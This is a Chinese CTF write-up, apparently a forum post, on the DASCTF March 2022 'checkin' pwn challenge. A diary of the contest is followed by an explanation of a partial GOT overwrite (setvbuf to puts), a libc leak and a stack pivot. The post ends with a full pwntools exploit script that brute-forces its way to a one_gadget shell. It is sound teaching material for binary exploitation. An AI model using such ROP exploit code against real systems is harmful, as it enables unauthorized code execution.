-
-
[原创]【Dasctf2022三月月赛】pwn手短程坐牢实录
-
2022-4-28 18:38 12615
-
比赛过程
早上8点40起床,以为9点打比赛,匆匆忙忙洗漱一下就赶紧打开电脑。结果10点hhhhh
比xxxx良心多了
然后去学校美食城吃了一碗牛肉粉,就run去协会了,到协会发现void和cjj早就在了,但是ymnh居然没来。
qq上问
。。。。
然后过了没多久10点,平台正常卡了一会就开始坐牢了。checkin一开始就想到的ret2dlresolve,因为前天面NaN的时候负责人MR.R正好问过,但是俺不会啊。。。所以想到爆破。但是俺的爆破太低级了,而且会受到onegadget寄存器的限制。然后就去看pwn2了,发现应该是house of orange但是没啥思路,就回去看pwn1,按着32位的模板调了一下午,后来还是没出。。。
比赛还有10分钟结束的时候和MR.R交流了一回,然后也和校外师傅和ymnh交流了一下,发现,乱搞它不香吗?
刚刚在自己的虚拟机上也测试了一下乱搞的爆破模板,不到1秒中就跑出了。。。。
所以ret2dlresolve都不学
题解
保护
ida
非常的直接嗷
思路
热知识——在libc中setvbuf和puts函数离得非常近,就低4位不相同,那么如果采取覆盖setvbuf低4位使得调用setvbuf的plt的时候跳转到puts函数,爆破大概16分之一的概率就可
所以别提那破寄吧ret2dlresolve了,就按着setvbuf打,这样我们就有了泄露libc地址的机会。
然后这题其实涉及到栈迁移和控制ebp指针来实现任意地址写的,具体是这样的:
第一次read覆盖rbp指针为bss(全局可写段),然后返回read函数前面mov rdi,[rbp+buf]的位置
就可往bss+buf上面写东西了,然后同样写到rbp(和bss是同一个值),将rbp置为bss+buf,然后ret leave ret 我们就同时也完成了栈迁移,这种利用手法是非常方便的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r = remote("chuj.top", 51904) ##proof_of_work(r) libc = ELF( './libc.so.6' ) elf = ELF( './checkin' ) def z(p): gdb.attach(p) ## init_set bss = 0x404080 + 0xe00 pop_rsi_r15_ret = 0x401251 leave_ret = 0x4011E2 read_plt = elf.plt[ 'read' ] read_got = elf.got[ 'read' ] setbuf_got = elf.got[ 'setvbuf' ] setbuf_plt = elf.plt[ 'setvbuf' ] pop_rdi_ret = 0x401253 ## set_bss_ret def exp(): r = process( './checkin' ) pd = 0xa0 * 'a' + p64(bss) + p64( 0x4011BF ) ##z(r) r.send(pd) ##sleep(1) ## stack_remove pd = p64( 0 ) pd + = p64(pop_rsi_r15_ret) + p64(setbuf_got) + p64( 0 ) + p64(read_plt) pd + = p64(pop_rdi_ret) + p64(read_got) pd + = p64(setbuf_plt) pd + = p64( 0x401156 ) pd = pd.ljust( 0xa0 , 'a' ) pd + = p64(bss - 0xa0 ) + p64(leave_ret) ## recover_setvbuf_plt ##z(r) r.send(pd) ##sleep(1) r.send( '\x50\x44' ) ##sleep(1) libcbase = u64(r.recvuntil( '\x7f' ).ljust( 8 , '\x00' )) - libc.sym[ 'read' ] log.success( 'libcbase:' + hex (libcbase)) ## set_libc_func pop_r15_ret = libcbase + 0x23b71 pop_r12_ret = libcbase + 0x2f739 onegadget = libcbase + 0xe3b2e ## set_rop rop = p64(pop_r15_ret) + p64( 0 ) + p64(pop_r12_ret) + p64( 0 ) + p64(onegadget) ## meikaierdu pd = 0xa0 * 'a' + p64(bss + 0x100 ) + p64( 0x4011bf ) z(r) r.send(pd) pd = p64( 0 ) pd + = rop pd = pd.ljust( 0xa0 , '\x00' ) pd + = p64(bss + 0x100 - 0xa0 ) + p64(leave_ret) r.send(pd) r.interactive() ##sleep(1000000) while True : try : exp() except : continue |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界